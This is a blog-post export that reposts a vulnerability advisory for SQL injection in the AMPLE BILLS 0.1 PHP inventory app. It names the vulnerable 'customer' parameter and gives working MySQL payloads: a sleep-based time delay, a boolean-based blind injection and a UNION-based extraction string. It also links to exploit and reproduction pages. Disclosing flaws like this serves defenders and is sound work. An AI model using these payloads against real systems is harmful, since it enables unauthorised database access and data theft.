{"id":56269,"date":"2024-04-15T22:19:50","date_gmt":"2024-04-15T18:19:50","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178055\/amplebills01-sql.txt"},"modified":"2024-04-15T22:19:50","modified_gmt":"2024-04-15T18:19:50","slug":"ample-bills-0-1-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/ample-bills-0-1-sql-injection\/","title":{"rendered":"AMPLE BILLS 0.1 SQL injection"},"content":{"rendered":"<p>## Title: AMPLE BILLS 0.1 Multiple-SQLi<br \/>## Author: nu11secur1ty<br \/>## Date: 04\/13\/2024<br \/>## Vendor: https:\/\/www.mayurik.com\/<br \/>## Software: https:\/\/www.sourcecodester.com\/php\/16741\/free-and-open-source-inventory-management-system-php-source-code.html<br \/>## Reference: https:\/\/portswigger.net\/web-security\/sql-injection<\/p>\n<p>## Description:<br \/>The customer parameter (#1*) appears to be vulnerable to SQL injection<br \/>attacks. The payload (select*from(select(sleep(20)))a) was submitted<br \/>in the customer parameter. The application took 20017 milliseconds to<br \/>respond to the request, compared with 4 milliseconds for the original<br \/>request, indicating that the injected SQL command caused a time delay.<br \/>The database appears to be MySQL. The attacker can get all information<br \/>from the system by using this vulnerability!<\/p>\n<p>STATUS: HIGH- Vulnerability<\/p>\n[+]Payload:<br \/>&#8220;`mysql<br \/>&#8212;<br \/>Parameter: #1* ((custom) POST)<br \/>Type: boolean-based blind<br \/>Title: OR boolean-based blind &#8211; WHERE or HAVING clause (MySQL comment)<br \/>Payload: customer=(-2876) OR<br \/>5249=5249#from(select(sleep(20)))a)&amp;issuedate=03\/15\/2024 &#8211; 04\/13\/2024<\/p>\n<p>Type: UNION query<br \/>Title: MySQL UNION query (random number) &#8211; 1 column<br \/>Payload: customer=(-8147) UNION ALL SELECT<br \/>CONCAT(0x7178627671,0x456d507450425279564f614b766957634d464a6c63536e6f63464953467254446171427a754e5769,0x7176626271),7839,7839,7839,7839#from(select(sleep(20)))a)&amp;issuedate=03\/15\/2024<br \/>&#8211; 04\/13\/2024<br \/>&#8212;<br \/>&#8220;`<\/p>\n<p>## Reproduce:<br \/>[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/mayuri_k\/2023\/AMPLE-BILLS-0.1)<\/p>\n<p>## Proof and Exploit:<br \/>[href](https:\/\/www.nu11secur1ty.com\/2024\/04\/ample-bills-01-multiple-sqli.html)<\/p>\n<p>## Time spent:<br \/>01:15:00<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Title: AMPLE BILLS 0.1 Multiple-SQLi## Author: nu11secur1ty## Date: 04\/13\/2024## Vendor: https:\/\/www.mayurik.com\/## Software: https:\/\/www.sourcecodester.com\/php\/16741\/free-and-open-source-inventory-management-system-php-source-code.html## Reference: https:\/\/portswigger.net\/web-security\/sql-injection ## Description:The customer parameter (#1*) appears to be vulnerable to SQL injectionattacks. The payload (select*from(select(sleep(20)))a) was submittedin the customer parameter. The application took 20017 milliseconds torespond to the request, compared with 4 milliseconds for the originalrequest, indicating that the &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56269","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56269","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56269"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56269\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56269"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56269"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56269"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}